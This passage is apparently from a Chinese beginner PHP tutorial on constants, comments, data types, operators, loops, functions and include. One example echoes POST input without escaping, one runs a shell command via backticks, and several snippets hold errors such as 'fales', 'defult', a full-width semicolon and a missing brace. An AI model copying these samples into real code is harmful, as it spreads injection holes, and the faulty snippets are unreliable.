define(&apos;MY_NAME&apos;,&apos;PHP中文网&apos;);
echo MY_NAME;
//下面是错误的调用方式
echo &apos;我的名字是MY_NAME&apos;;
//下面是正确的调用方式
echo &apos;我的名字是&apos;.MY_NAME;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此外，系统还为我们准备了一些内置的常量，这些常量都是规定好的，先熟悉几个，还有更多的系统变量可以在入门以后扩展深入学习。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/b90fb13fa6-20201206144355604.png&quot; alt=&quot;20201206144355604&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.3 PHP注释信息介绍&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	所谓注释，汉语解释为注解，更为准确一些，因为代码是英文的，并且代码很长，时间长了人会忘了代码的意思作用，所以可以加上注释进行说明提示。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注释功能说明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、对重点进行标注

2、时间长了容易忘记代码，方便快速回忆，以及方便查找信息

3、可以让其他人更容易看懂配置信息

4、还可以生成文档，代码写完相关的文档就写完了，提高工作效率

5、拥有注释、空行、回车之后的代码看起来更优美

6、注释可用来排错，不确定代码中哪一块写错了，可以将一大段注释，确定错误区域。

7、注释中的部分的内容，电脑不会执行它
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PHP注释的方法如下所示：&lt;/p&gt;
&lt;h5&gt;1.单行注释（只注释一行）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;//		表示单行注释
#		表示单行注释，用的比较少
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;单行注释举例演示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//声明异步iphone7手机的价格变量
$iphone7 = 5880;
//显示输出收集价格
echo $iphone7; 
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.多行注释（注释多行）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;/*
多行注释，这里是注释区域代码
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;多行注释举例演示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
/*
作者：PHP
时间：2023.10.26
功能：这是一个多行注释例子
*/
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.4 PHP数据类型介绍&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;数据类型就是对数据分类的一种划分方式而已，例如以下举例说明：

哺乳动物：人、猫、马、鸭嘴兽…等等

蔬菜类型：西红柿、菠菜、茄子…等等

水果类型：西瓜、桃子、苹果…等等

PHP中一共有八种数据类型，包括:

	4种标量数据类型：boolean（布尔类型）、integer（整形）、float/double（浮点型）和string（字符串型）
	
	2种复合数据类型：array（数组类型）和object（对象类型）
	
	2中特殊的数据类型：resource（资源类型）与null（无/空白类型）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/e1d178c4df-20201206144749617.png&quot; alt=&quot;20201206144749617&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;2.4.1 整形数据类型&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	整形表示即为整数，英文称之为integer，英文简写为int；整形分为8进制、10进制、16进制，整形在计算机里面是有最大值和最小值范围的。大家经常听说32位计算机，也就是32位计算机一次运算处理的最大范围是-2的32次方到2的32次方-1；而64位计算机，就是一次运算处理的最大范围是-2的64次方到2的64次方-1。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8进制声明方式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//8进制的取值范围是0-7，即0、1、2、3、4、5、6、7
$bajinzhi=033145;
echo $bajinzhi;
?&amp;gt;
// 这里仅仅是个说明，并不是八进制的运算，具体看下面的图
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;10进制声明方式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//为了方便大家记忆和前期学习，英文不好的朋友可用拼音来声明变量。
//声明变量整数，英文int
$int=1000;
$zhengshu=1000；
echo $int;
echo $zhengshu;
?&amp;gt;
// 这里仅仅是个说明，并不是十进制的运算，具体看下面的图
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;16进制声明方式：以0x开始，后面跟0-f的，0x的后面的abcdef不区分大小写。（了解即可）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//16进制的取值范围是0-f，即0、1、2、3、4、5、6、7、8、9、a、b、c、d、e、f
//声明变量整数，英文int
$shiliujinzhi=0x6ff;
echo $shiliujinzhi;
// 这里仅仅是个说明，并不是十六进制的运算，具体看下面的图
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/34019ce2ac-2020120615062927.png&quot; alt=&quot;2020120615062927&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;2.4.2 布尔数据类型&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	所谓布尔类型，汉语翻译过来之后，更好的解释是用道家中易经的语言进行解释，即为：阴/阳，男/女，真/假，对/错，存在/不存在，0/1等等。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;布尔类型举例说明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//声明一个变量（拼音）为布尔
$buer=true;
//声明一个变量(英文)
$bool=false;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.4.3 字符串数据类型&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;在PHP语言中声明字符串有三种方式：

 1、用单引号声明
 
 2、用双引号声明
 
 3、用字界符声明
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;单引号声明&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;用英文半角的单引号，将字符串包起来：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//声明字符串变量$zifu
$zifu=&apos;好好学习吧&apos;;
echo $zifu;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;双引号声明&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;在字符串两面加双引号
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//声明字符串变量$str
$str=&quot;我想好好学习&quot;;
echo $str;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;字界符声明&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、在变量后面的等号写三个小于号 &amp;lt;&amp;lt;&amp;lt;

2、然后在&amp;lt;&amp;lt;&amp;lt;后面写上字符（建议英文大写字符）

3、然后换行写上任意想写的字符

4、写完后，顶行。在行最开始处，再写上&amp;lt;&amp;lt;&amp;lt;后面的字符和分号。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$dingjie = &amp;lt;&amp;lt;&amp;lt;ABC
  如果
      非要在这个测试
    前
        面&amp;lt;br /&amp;gt;
       加上一段
    &amp;lt;i&amp;gt;有趣的话&amp;lt;/i&amp;gt;
    我想说，&amp;lt;h1&amp;gt;努力学习不好么&amp;lt;h1&amp;gt;
ABC;
echo $dingjie
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那双引号和单引号有什么区别呢：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.双引号解析变量，但是单引号不解析变量

2.在双引号里面插入变量，变量后面如果有英文或中文字符，会把这个字符和变量拼起来，视为一整个变量。一定要在变量后面接上特殊字符，例如空格等分开。

3.如果在双引号里面插变量的时候，后面不想有空格，可以拿大括号将变量包起来。

4.双引号解析转义字符，单引号不解析转义字符。但是单引号能解析\

5.单引号效率高于双引号，尽可能使用单引号

6.双引号和单引号可以互相嵌套，双引号中可以插入单引号，单引号当中插入变量，这个变量会被解析。

7.神奇的字符串拼接胶水——（.）点，用来拼接字符串。

8.一般将定界符声明字符串视为双引号一样的功能来看待。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.4.4 浮点型数据类型&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;所谓浮点类型，可以理解为，我们数学里面的小数。声明方式分为两种：

1、普通声明方式

2、科学声明方式
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;普通声明浮点数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//声明变量fudian的植为12121.3232
$fudian=12121.3232;
echo $fudian;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;科学声明浮点数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//声明变量$f1的植为0.8873
$f1=0.8873;
var_dump($f1)
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;	var_dump() 函数用于输出变量的相关信息。显示关于一个或多个表达式的结构信息，包括表达式的类型与值。数组将递归展开值，通过缩进显示其结构。

参考资料：https://www.runoob.com/php/php-var_dump-function.html
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.4.5 PHP数据类型之查看和判断数据类型&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;查看数据类型：

1、gettype（传入一个变量）能获得变量的类型
 
2、var_dump（传入一个变量）输出变量类型和值
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//声明一个变量88.8,可以自己多做几次实现换成其他类型看看$type输出是多少。
$float = 88.8;
$type = gettype($float);
echo $type;
?&amp;gt;

&amp;lt;?php
//多换几个类型试试
$str = &apos;你喜欢男人还是喜欢女人&apos;;
$type = var_dump($str);
echo $type;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;判断数据类型方法：

使用is_*系列函数，is_types这一系列的函数，来进行判断某个数据属于哪种类型，如果是这个类型返回真，不是这个类型返回假。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/7ef5d07c66-20201206151049243.png&quot; alt=&quot;20201206151049243&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//is_*系列函数有个特点，就是如果是这个类型的返回的值为真，不是这个数据类型就返回的是假
//声明类型为假
$fo = false;
if (is_bool($fo)) {
    echo &apos;执行真区间&apos;;
}else{
    echo &apos;执行假区间&apos;;
}
echo &quot;&amp;lt;br /&amp;gt;&quot;;

//检查未声明的变量$p是否为空，为空就执行真区间
if(is_null($p)) {
    echo &apos;执行真区间&apos;;
}else{
    echo &apos;执行假区间&apos;;
}
echo &quot;&amp;lt;br /&amp;gt;&quot;;

//字符串类型的数值，检查执行的真还是假
$str = &apos;18.8&apos;;
if(is_numeric($str)) {
    echo &apos;执行真区间&apos;;
}else{
    echo &apos;执行假区间&apos;;
}
echo &quot;&amp;lt;br /&amp;gt;&quot;;

//把sca的值换为整数 浮点 布尔和字符串试试
$sca = true;
if(is_scalar($sca)) {
    echo &apos;执行真区间&apos;;
}else{
    echo &apos;执行假区间&apos;;
}
echo &quot;&amp;lt;br /&amp;gt;&quot;;

//换成echo，is_int试试，为什么echo执行假区间呢？
if(is_callable(&apos;var_dump&apos;)) {
    echo &apos;执行真区间&apos;;
}else{
    echo &apos;执行假区间&apos;;
}
echo &quot;&amp;lt;br /&amp;gt;&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.5 PHP流程控制语句&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//我们定义一个泡到美女的变量($pao)为true，意思为泡到了
$pao =fales;
if($pao){
    echo &apos;林志玲，我爱死你了&apos;;
    echo &apos;我愿意去死&apos;;
}else{
    echo &apos;照骗，爱会消失的&apos;;
    echo &apos;我不愿意去死&apos;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.6 PHP算数运算方法&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/5ce9c5706a-20201206151219961.png&quot; alt=&quot;20201206151219961&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$x=5;
$y=6;
//5+6为11
echo $x+$y;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.6.1 PHP程序自加自减运算&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;自加自减运算就是把自己加1或者减1。如果学习过其它变成语言。会发现，此处的用法又是计算机里面的一个规定。可以这样用，用起来更加简洁
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/6c49383a70-20201206151327691.png&quot; alt=&quot;20201206151327691&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;上面的用法说明其实很简单，按照上面的例子，分成步骤去按过程判断即可：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$x=5;
//先赋值后做加法运算，即将$x的值赋值为$y.$x的值为5，所以将$x的值赋值为$y.$y也是5
$y=$x++;
echo $y;
//$x的结果输出为6，因为赋值给$y后，$x自己又把自己进行了+1操作。所以，$x结果为6
echo $x;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.6.2 PHP程序比较运算符号&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;比较运算符，在大家小学的时候就学了很多
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/7f2dd25423-20201206151438895.png&quot; alt=&quot;20201206151438895&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$x=5;
$y=6;
//因为5大于6不成立，所以为错的，即为false执行了假区间
if(!$x &amp;gt; $y){
    echo &apos;变量x大于变量y 成立&apos;;
}else{
    echo &apos;变量x大于变量y 不成立&apos;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.6.3 PHP程序逻辑运算符号&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;逻辑运算符号比较简单，是我们人类进行逻辑思考时的一种方式。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/0433ea17de-20201206151526768.png&quot; alt=&quot;20201206151526768&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$x=true;
$y=false;
//逻辑与（并且），要求两个都为true才能执行真区间，所以代码中执行假区间
if($x &amp;amp;&amp;amp; $y) {
    echo &apos;执行了真区间&apos;;
}else{
    echo &apos;执行了假区间&apos;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.6.4 PHP程序位运算&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/f80df0eb68-20201206151607329.png&quot; alt=&quot;20201206151607329&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//$x二进制为:
$x=5;
//$y二进制为:
$y=8;
//结果为13
echo $x ^ $y;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.6.5 PHP三元运算符合其它运算符&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;三元运算符，相当于是if…else结构，不过三元运算符的写法更加简洁，语法格式如下：
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/8b7a86ca65-20201206151654259.png&quot; alt=&quot;20201206151654259&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$x=true;
$x?$y=5:$y=6;
//输出5
echo $y;
?&amp;gt;

&amp;lt;?php
echo &apos;&amp;lt;pre&amp;gt;&apos;;
echo `ipconfig`;
echo &apos;&amp;lt;/pre&amp;gt;&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第三章 PHP流程控制语句&lt;/h2&gt;
&lt;h3&gt;3.1 if条件控制语句&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;比如：郝斌同学是无趣的人。他回家时候做的事如下所示：

如果半夜回家，先去睡觉
 
如果早上回家，先去洗澡
 
如果中午回家，先去吃法
 
如果晚上回家，先去烧水
 
下面来了解下他的活动安排PHP语法规则：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
If(判断语句1){
   执行语句体1
}elseif（判断语句2）{
   执行语句体2
} elseif（判断语句n）{
   执行语句体n
}else{
   最后的else语句可选
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;流程代码信息示例01：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$week=date(&quot;4&quot;);
//判断星期小于6，则输出： 还没到周末，继续上班....
if($week&amp;lt;&quot;6&quot;){
    echo &quot;还没到周末，继续上班....&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;流程代码信息示例02：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//定义一个随机变量，判定时间，随机0点至23点
$dida = rand(0,23);
echo &quot;当前时间为 $dida 点\n&quot;;
if($dida &amp;gt; 6 &amp;amp;&amp;amp; $dida &amp;lt; 10 ){
    echo &apos;睡觉&apos;;
}elseif ($dida &amp;gt; 10 &amp;amp;&amp;amp; $dida &amp;lt; 14){
    echo &apos;洗澡&apos;;
}elseif($dida &amp;gt;= 19 &amp;amp;&amp;amp; $dida &amp;lt; 22){
    echo &apos;烧水&apos;;
}elseif($dida &amp;gt; 22 &amp;amp;&amp;amp; $dida &amp;lt;=23){
    echo &apos;看电视&apos;;
}elseif($dida &amp;gt;=1 &amp;amp;&amp;amp; $dida &amp;lt;3){
    echo &apos;看电影&apos;;
}else{
    echo &apos;工作&apos;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 if嵌套语句&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;比如：王总在出行计划和工作项目中具有极高的规划性，他给自己的生活秘书和工作秘书分别指派了出差的行程：
生活上：先查天气，下雨带雨具和毛巾，不下雨要带防晒霜，雨具、毛巾和防晒霜的情况要提前检查，如果没有要及时购买。
工作上：要提前沟通出差的工作任务，准备好了要及时检查确认，打印签单。没有及时准备好的情况下，要列出主要的项目议题。

类似于上面的这种情况判断，就需要用到if…else if…else反复嵌套的结构了.
在if语句中可以嵌套一个或多个if语句,以实现多个参数的判断,这就是if语句的多种嵌套.

嵌套结构如下所示:
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if(判断1){
  if(判断2){
    代码段1;
}else{
    代码段2;
}
}else{
  if(判断3){
    代码段3;
}else{
    代码段4;
}
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;流程代码信息示例01：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//0表示工作秘书,1表示生活秘书
//用代码模拟随机产生当前的行程安排是生活秘书负责还是工作秘书负责
$mishu=rand(0,1);
if($mishu){
    //下雨和不下雨的状态,随机产生;下雨状态为1,不下雨状态为0
    $xiayu=rand(0,1);
    if($xiayu){
        //是否购买雨伞;购买了雨伞为1,未购买雨伞为0
        $you=rand(0,1);
        if($you){
            echo &apos;下雨天,已经购买雨伞&apos;;
        }else{
            echo &apos;下雨天,需要购买雨伞&apos;;
        }
    }else{
        //是否购买了防晒霜,购买了为1,未购买为0
        $you=rand(0,1);
        if($you){
            echo &apos;未下雨,已经购买了防晒霜&apos;;
        }else{
            echo &apos;未下雨,需要购买防晒霜&apos;;
        }
    }
}else{
    //是否准备好了会议议程,准备好了为1,未准备好为0
    $yicheng=rand(0,1);
    if($yicheng){
        echo &apos;已准备好,可以随时出发&apos;;
    }else{
        echo &apos;没有准备好,需要打印,延迟出发&apos;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.3 switch语句使用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;比如:王同学家里特别有钱,所以他的行程方式和正常人的有些不一样.
他的出行方式有以下6种方式:
司机开车/民航/自己家的专机/火车动车/骑马/游轮

switch…case的语法结构如下:	
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
switch(变量){    //字符串,整形
   case 具体值1:
      执行代码1;
      break;
   case 具体值2:
      执行代码2;
      break;
   case 具体值3:
      执行代码3;
      break;
      defult:
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;上面的break是可选的,上面的default也是可选的,不要在case后面写成分号,后面是冒号.不要在case后面写判断区间,如($foo &amp;gt;20 或者 $foo == 30)

Switch里面的变量最好是整形 字符串 因为布尔判断更适合if…else.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//定义出行工具
$tool=rand(1,6);
switch($tool){
    case 1:
        echo &apos;司机开车&apos;;
        break;
    case 2:
        echo &apos;民航&apos;;
        break;
    case 3:
        echo &apos;自己家的专机&apos;;
        break;
    case 4:
        echo &apos;火车动车&apos;;
        break;
    case 5:
        echo &apos;骑马&apos;;
        break;
    case 6:
        echo &apos;游轮&apos;;
        break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.4 while循环语句说明&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	比如:王总需要反复往返于北京和大连,就是典型的循环结构.假设王总投资这个项目需要往返大连100次,每次访问都会计数一次.难道写一百遍同样的代码?显然对于智商极高的程序员来说不可能这样处理。

    需要抽象人类的思维逻辑,定义一个循环结构:
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//定义需要往返的次数,老外喜欢从0开始计数,所以系统也是从0开始
$count=0;
//while后面接布尔值判断,为真执行,为假停止
//$count小于100的时候执行,也就是$count为0至99的时候执行.
//如果$count不小于100了,循环停止执行后续的代码

//循环开始处
while($count &amp;lt; 100){
    echo &quot;这是王总第 $count 次出差 &amp;lt;br /&amp;gt;&quot;;
    //每次执行让$count+1,这样的话,就不会产生$count永远小于100的情况了
    $count++;
}
//循环结束
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;对比说明do…while与while区别:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;do…while与while的语法结构基本一样,也是一个布尔型循环,功能也基本一样.

基本语法规定如下:
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;do{
   //代码框
}while(判断)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;do…while与while区别是,它们的值得检查时机不同.

do…while不论while判断是否成立,先执行一次代码框循环语句,保证会执行一次(表达式的真值在每次循环结束后检查)

然而我们之前的while循环会检查布尔判断区域,成立则执行,不成立则不执行.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$i=0;
do {
  echo $i;
}while($i &amp;gt;0);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.5 for循环语句&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	同学反复往返于北京和大连,并且在本上记录往返次数.在PHP中还有另外一种实现方式能够实现同样的计数.for循环是PHP中的一种计数型循环.它的语法比较灵活多变,这是一个必须掌握的知识点.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;for(表达式1;表达式2;表达式3)
  需要执行的代码段;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;1、表达式1是初始化赋值,可以同时赋值多个代码;

2、表示式2在每次循环开始前求值,如果值为true,则继续循环,执行嵌套的循环语句,如果值为false,则终止循环.

3、表达式3在每次循环之后被求值.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
for($i=1;$i&amp;lt;=10;$i++)
  echo ‘分手后第’.$i.’年, 我全都忘了你的样子&amp;lt;br /&amp;gt;’;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.6 goto循环语句&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;王同学每周往返,但有一个特例:项目失败后或者集团临时通知除外,就可以不再这么每周往返了.
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.基本语法&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
goto wan;
echo &apos;天王盖地虎&apos;;
wan:
echo &apos;小鸡炖蘑菇&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.基本编写&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
for ($i=0;$i&amp;lt;100;$i++){
    echo &apos;第&apos;.$i.&apos;每周往返北京大连&amp;lt;br /&amp;gt;&apos;;
    if($i == 17){
        goto end;
    }
}
end:
echo &apos;集团公司要求停止此项&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第四章 PHP函数基本语法&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;函数的英文叫做:function,而function的解释项中有另外一个含义”功能”,函数就是功能,调用一个函数就是在调用一个功能.

自定义函数的语法规则,语法规范如下:
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Function 函数名(参数名1=[值1], 参数名2=[值2] , 参数名n=[值n])
{
    函数中的功能体
    [return 返回值]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;代码编写示例:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function php_cn(){
    echo &quot;好好学习&quot;;
}
php_cn();
php_cn();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;php_cn这个函数,是不是显示出来了两段: 好好学习.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;函数备注说明:

1.函数名只能是字母,数字,下划线的组合,并且之间不能包含空格,数字不能放在变量名首位.

2.函数名与变量命名规则一样,但是不同的是,函数名不区分大小写

3.函数体的参数若是定义了,未传参,代码会报错.

4.函数后的参数如果有默认值,参数可以不填,代码也不会报错

5.函数后的参数可以写多个

6.函数后如果有默认值和无默认值的参数,通常把无默认值的参数写在最前面

7.函数体的变量与函数体外的变量没有关系

8.函数体中若有return,return后的代码不执行.

9.函数执行完后,可把函数体内的值,带到函数体外

10.函数的执行没有顺序关系,可以在定义外之前的位置调用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;根据之前学习的全局变量信息,编写页面内容:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
     &amp;lt;title&amp;gt;网站页面信息&amp;lt;/title&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
&amp;lt;!-- 先用POST来做实验,以后可以改为get --&amp;gt;
&amp;lt;form action=&quot;glob.php&quot; method=&quot;post&quot;&amp;gt;
&amp;lt;input type=&quot;text&quot; name=&quot;info&quot;/&amp;gt;
&amp;lt;input type=&quot;submit&quot; name=&quot;提交&quot;/&amp;gt;
&amp;lt;/form&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;编写传入参数的函数信息:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function demo() {
    echo $_POST[&apos;info&apos;];
}
demo();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;	在实际开发中,常常需要把程序中的共用代码放到一个文件中,使用这些代码的文件只需要包含这个文件即可.这种方法有助于提高代码的重用性,给代码的编写与维护带来很大的便利.在PHP中,有以下四种方法包含一个文件:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/90e741d5ab-20201206153442568.png&quot; alt=&quot;20201206153442568&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;include函数功能实践:

创建一个functions.php文件,里面写上两个函数:
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//functions-test-02文件
function demo(){
    echo &apos;aaaa&apos;;
}
function test(){
    echo &apos;bbbb&apos;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;在functions.php的同级目录下,在创建一个user.php文件把functions.php文件包含进来.

这样函数信息就可以专门放在functions.php里面,哪需要用到这些函数的时候,就从哪包含进来.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//user.php
include &quot;function-test-02.php&quot;;
//可以直接调用
demo();
test();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;&lt;strong&gt;1、数学常用函数总结&lt;/strong&gt;&lt;/h5&gt;
